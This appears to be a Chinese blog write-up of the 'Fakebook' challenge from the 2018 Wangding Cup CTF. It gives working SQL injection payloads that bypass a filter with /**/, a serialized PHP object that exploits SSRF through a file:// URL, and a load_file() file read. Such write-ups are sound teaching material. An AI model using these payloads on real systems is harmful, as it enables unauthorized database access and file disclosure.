[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

在这里插入图片描述首先我们先扫描一波目录,用dirsearch扫一手,发现有robots.txt,flag.php文件
robots.txt
在这里插入图片描述flag.php
在这里插入图片描述先注册一个账户,并且发现一个注入点
在这里插入图片描述

尝试sql注入

查字段
?no=1 order by 4#  正常回显
?no=1 order by 5#  页面异常

说明有四个字段

union语句查显位
?no=1 union select 1,2,3,4#                  no hack ~_~
?no=1 ununionion seselectlect database();    no
?no=1 uNion sElEct database();               no
?no=1 union/**/select 1,2,3,4#               yes
?no=0 union/**/select 1,database(),3,4#      yes

显位为2字段,掺杂了一些过滤,用/**/代替空格
在这里插入图片描述

正常爆破

爆库:?no=0 union/**/select 1,database(),3,4# 
报表:?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆字段:?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #
爆data值:?no=0 union/**/select 1,group_concat(data),3,4 from users #

发现并没有想要的flag在里面,得到一个序列化的字符串
在这里插入图片描述又想到robots.txt中提到的.bak文件
user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容

还有一个isValidBlog验证这是否是一个有效的blog地址,get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。猜测可能flag.php处于内网,并且也得到了flag.php的路径。如果用ssrf访问flag.php,可以用伪协议file://var/www/html/flag.php访问。
blog为4字段上
尝试ssrf
将得到的序列化后的UserInfo对象构造payload:

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"1111";s:3:"age";i:111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

在这里插入图片描述注入成功,查看源代码得到flag
在这里插入图片描述

load_file()函数解题

 ?no=0 union/**/select 1,user(),3,4--+    //数据库信息

在这里插入图片描述发现是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下

load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件

?no=0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

在这里插入图片描述查看源代码得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值